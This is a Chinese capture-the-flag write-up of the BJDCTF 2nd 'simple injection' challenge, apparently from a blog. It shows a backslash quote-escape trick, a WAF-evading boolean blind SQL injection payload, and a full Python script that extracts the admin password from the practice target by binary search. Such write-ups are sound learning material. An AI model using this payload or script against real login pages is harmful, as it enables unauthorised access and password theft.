解题思路

打开发现登陆框,随机输入一些,发现有waf,然后回显都是同样的字符串。fuzz一波,发现禁了挺多东西的。

select union 等

这里猜测是布尔盲注,错误的话显示的是:You konw ,P3rh4ps needs a girl friend

但是不管传入什么都回显这个,这里想是否有其他信息,我这种菜鸡还不会直接根据测试,猜测出sql语句。

robots.txt中发现hint,打开hint.php,发现sql语句。太好了

bypass sql

select * from users where username='$_POST["username"]' and password='$_POST["password"]'

这里传入的username和password都被单引号包裹,这里需要闭合单引号 ,闭合 ' $_POST["username"] and password=' 。即直接是:

'$_POST["username"] and password= '

$_POST["password"]'

这样就可以在password中传入查询语句。

在username处传入 admin\ ,

or没被禁,等于号被禁,

所以password传入or if(ascii(substr(password,1,1))>1,1,0)

爆破

第一个$符号里面的是偏移量,即确定password的每一位,第二个$符号里面的是当前password位的具体ascii码

意思是有12位,那打扰了。手动太累了,还是学写exp把

exp

import requests
import time url = "http://ba1f818e-5cd8-42c9-9be0-a48646da5351.node3.buuoj.cn/index.php"
payload = {
"username" : "admin\\",
"password" : ""
}
result = ""
for i in range(1,30):
low = 32
high =128
mid = (high+low)//2
while(low<high):
payload["password"] = "or if(ascii(substr(password,{},1))>{},1,0)#".format(i,mid)
html = requests.post(url,data=payload)
print(low,high,mid,":")
print(payload)
if "stronger" in html.text:
low = mid+1
else:
high = mid
mid = (high+low)//2
if(low == 32 or high ==128):
break
result = result + chr(mid)
print(result)
print("flag: " ,result)

我人傻了,一开始写,一直不进行下去。最后修改发现问题是我把#符号,写成%23了。导致压根没有起作用,我纳闷半天。这也是一个坑点,python脚本不需要url编码

跑出来密码了,直接账号密码登陆,获得flag

总结思路

  • 看见登陆框,两种回显,考虑布尔盲注,思考后台sql查询语句。
  • 根据sql语句,转义单引号,导致payload可以逃逸
  • 编写布尔盲注脚本

知识点

  • sql注入
  • 布尔盲注

刷题[BJDCTF 2nd]简单注入的更多相关文章

  1. [BJDCTF2020]Mark loves cat && [BJDCTF 2nd]简单注入 && [BJDCTF2020]The mystery of ip

    [BJDCTF2020]Mark loves cat 源码泄露 使用GitHack.py下载源码 下载之后对源代码进行审计 flag.php代码为: <?php $flag = file_get ...

  2. [BJDCTF 2nd]简单注入

    [BJDCTF 2nd]简单注入 hint.txt出现了内容. 大概意思和国赛一道题相同. username处注入\来转义单引号,password处使用sql语句整数型注入. 例如: 传入admin\ ...

  3. Python学习之LeetCode刷题之路——简单题【1、7、9】

    1.两数之和 给定一个整数数组 nums 和一个目标值 target,请你在该数组中找出和为目标值的那 两个 整数,并返回他们的数组下标. 你可以假设每种输入只会对应一个答案.但是,你不能重复利用这个 ...

  4. leetcode刷题--两数之和(简单)

    一.序言 第一次刷leetcode的题,之前从来没有刷题然后去面试的概念,直到临近秋招,或许是秋招结束的时候才有这个意识,原来面试是需要刷题的,面试问的问题都是千篇一律的,只要刷够了题就差不多了,当然 ...

  5. [BJDCTF 2nd]假猪套天下第一 && [BJDCTF2020]Easy MD5

    [BJDCTF 2nd]假猪套天下第一 假猪套是一个梗吗? 进入题目,是一个登录界面,输入admin的话会返回错误,登录不成功,其余用户可以正常登陆 以为是注入,简单测试了一下没有什么效果 抓包查看信 ...

  6. 刷题记录:[De1ctf] shell shell shell

    目录 刷题记录:[De1ctf] shell shell shell 一.知识点 1.源码泄露 2.正则表达式不完善导致sql注入 3.soapclient反序列化->ssrf 4.扫描内网 5 ...

  7. 刷题记录:[网鼎杯]Fakebook

    目录 刷题记录:[网鼎杯]Fakebook 一.涉及知识点 1.敏感文件泄露 2.sql注入 二.解题方法 刷题记录:[网鼎杯]Fakebook 题目复现链接:https://buuoj.cn/cha ...

  8. Buu刷题

    前言 希望自己能够更加的努力,希望通过多刷大赛题来提高自己的知识面.(ง •_•)ง easy_tornado 进入题目 看到render就感觉可能是模板注入的东西 hints.txt给出提示,可以看 ...

  9. BUUOJ Misc刷题大作战

    你竟然赶我走 随便一个txt文件都可以拿 LSB 当然还有别的,根据里面左右左右变化,在0管道有变化,然后把下面的三个0打钩,导出png,一个二维码,扫出来 乌镇峰会种图 只要会用winhex打开文件 ...

随机推荐

  1. 如何理解Vue.js中的ref及$ref,$

    1.vue官方文档 首先我们来看一下vue官方是怎么解释的 好了,我知道很多刚接触的vue的小白其实都不太看的懂官方文档在讲什么,下面我用自己的话翻译一下. 2.ref以及$ref 通过 ref 标注 ...

  2. 【Spring】使用@Profile注解实现开发、测试和生产环境的配置和切换,看完这篇我彻底会了!!

    写在前面 在实际的企业开发环境中,往往都会将环境分为:开发环境.测试环境和生产环境,而每个环境基本上都是互相隔离的,也就是说,开发环境.测试环境和生产环境是互不相通的.在以前的开发过程中,如果开发人员 ...

  3. JacaScript实现call apply bind函数

    一.call函数 模拟实现第一步:整体思路 Function.prototype.call2=function(context){ context.fn=this; //1.将函数(谁调用 即this ...

  4. TCP/IP的三次握手, 四次挥手

    三次握手: 1. X初始序号, SYN:   , 发送  将syn=1, X发送至client 2. 服务器发送 ACK(确认包)=1, SYN=1, 接受顺序号(acknowledge number ...

  5. Cookie:SameSite,防止CSRF攻击

    前言 最近在本地调试时,发现请求接口提示“未登录”,通过分析HTTP请求报文发现未携带登录状态的Cookie: PS:登录状态Cookie名是TEST 再进一步分析,发现Cookie的属性SameSi ...

  6. 跟着兄弟连系统学习Linux-【day08】

    day08-20200605 p27.软件包管理简 windows 和 linux 软件是不同的版本. Linux源码包,开源的.绝大部分都是C语言写的.源码包安装速度比较慢.需要先编译后再安装.脚本 ...

  7. 万字长文,以代码的思想去详细讲解yolov3算法的实现原理和训练过程,Visdrone数据集实战训练

    以代码的思想去详细讲解yolov3算法的实现原理和训练过程,并教使用visdrone2019数据集和自己制作数据集两种方式去训练自己的pytorch搭建的yolov3模型,吐血整理万字长文,纯属干货 ...

  8. Brup sute

    暴力破解

  9. 2019UNCTF

    Easyshellcode: 不说了,都是没有工具的血泪史,直接上exp: from pwn import * from numbers import * from ae64 import AE64 ...

  10. Ubuntu 安装配置 WordPress5.4.2

    一.安装 Apache 并配置 WordPress sudo apt-get install apache2 -y //  安装 apache2 sudo apt-get install php -y ...